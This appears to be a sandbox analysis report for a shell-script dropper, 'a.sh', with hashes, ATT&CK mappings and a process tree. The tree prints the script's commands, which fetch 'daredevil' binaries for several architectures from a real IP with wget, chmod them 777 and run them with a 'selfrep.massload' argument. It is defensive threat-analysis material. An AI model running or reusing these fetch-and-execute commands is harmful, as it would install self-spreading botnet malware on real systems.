401163394000e3b94ad4580b622a237e1e3d5e55a9254b60cbfcb87073d614cf

Analysis

max time kernel
2s
max time network
4s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
20/08/2026, 02:37

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
a.sh
Size 1KB
Sample260820-c4eg7sycpg
SHA256 401163394000e3b94ad4580b622a237e1e3d5e55a9254b60cbfcb87073d614cf
MD5 76c83d10385abebdca42d2f06044f0c5
SHA1 691cb05378066398c1685c4100c158ae40df2a43
SHA512 ace34b7c400d423a95395a239b00a6d1d000322323e1291eb610a81637ce474dc5a980b39561cdfd39d32866d97ff893fb1d2a66d00cd2ca2f96a920ba9c20f1
TLSH
T10811AFFD31526F32E3968E4AF1604670B207EAEAD2CF23C1B41B0D63EC56554B90F912
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
714	chmod

Traces itself 3 IoCs

Traces itself to prevent debugging attempts

pid	Process
716	daredevil.armv7l
723	daredevil.armv5l
732	daredevil.armv4l

Reads runtime system information 7 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/exe	daredevil.armv4l
File opened for reading	/proc/uptime	daredevil.armv4l
File opened for reading	/proc/self/exe	daredevil.armv7l
File opened for reading	/proc/uptime	daredevil.armv7l
File opened for reading	/proc/self/exe	daredevil.armv5l
File opened for reading	/proc/uptime	daredevil.armv5l
File opened for reading	/proc/self/exe	daredevil.armv6l

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
720	daredevil.mipsel
676	wget
678	wget
717	daredevil.mips

Writes file to tmp directory 7 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/daredevil.armv6l	wget
File opened for modification	/tmp/daredevil.x86_64	wget
File opened for modification	/tmp/daredevil.armv4l	wget
File opened for modification	/tmp/daredevil.armv7l	wget
File opened for modification	/tmp/daredevil.mips	wget
File opened for modification	/tmp/daredevil.mipsel	wget
File opened for modification	/tmp/daredevil.armv5l	wget

/tmp/a.sh
/tmp/a.sh
1⤵
PID:648
- /bin/rm
  rm -f "daredevil.*"
  2⤵
  PID:650
- /usr/bin/wget
  wget http://94.154.43.210/daredevil.armv7l
  2⤵
  - Writes file to tmp directory
  PID:653
- /usr/bin/wget
  wget http://94.154.43.210/daredevil.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:676
- /usr/bin/wget
  wget http://94.154.43.210/daredevil.mipsel
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:678
- /usr/bin/wget
  wget http://94.154.43.210/daredevil.armv5l
  2⤵
  - Writes file to tmp directory
  PID:679
- /usr/bin/wget
  wget http://94.154.43.210/daredevil.armv6l
  2⤵
  - Writes file to tmp directory
  PID:680
- /usr/bin/wget
  wget http://94.154.43.210/daredevil.x86_64
  2⤵
  - Writes file to tmp directory
  PID:687
- /usr/bin/wget
  wget http://94.154.43.210/daredevil.armv4l
  2⤵
  - Writes file to tmp directory
  PID:701
- /bin/chmod
  chmod 777 daredevil.armv4l daredevil.armv5l daredevil.armv6l daredevil.armv7l daredevil.mips daredevil.mipsel daredevil.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:714
- /tmp/daredevil.armv7l
  ./daredevil.armv7l selfrep.massload
  2⤵
  - Traces itself
  - Reads runtime system information
  PID:716
- /tmp/daredevil.mips
  ./daredevil.mips selfrep.massload
  2⤵
  - System Network Configuration Discovery
  PID:717
- /tmp/daredevil.mipsel
  ./daredevil.mipsel selfrep.massload
  2⤵
  - System Network Configuration Discovery
  PID:720
- /tmp/daredevil.armv5l
  ./daredevil.armv5l selfrep.massload
  2⤵
  - Traces itself
  - Reads runtime system information
  PID:723
- /tmp/daredevil.armv6l
  ./daredevil.armv6l selfrep.massload
  2⤵
  - Reads runtime system information
  PID:728
- /tmp/daredevil.x86_64
  ./daredevil.x86_64 selfrep.massload
  2⤵
  PID:730
- /tmp/daredevil.armv4l
  ./daredevil.armv4l selfrep.massload
  2⤵
  - Traces itself
  - Reads runtime system information
  PID:732

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads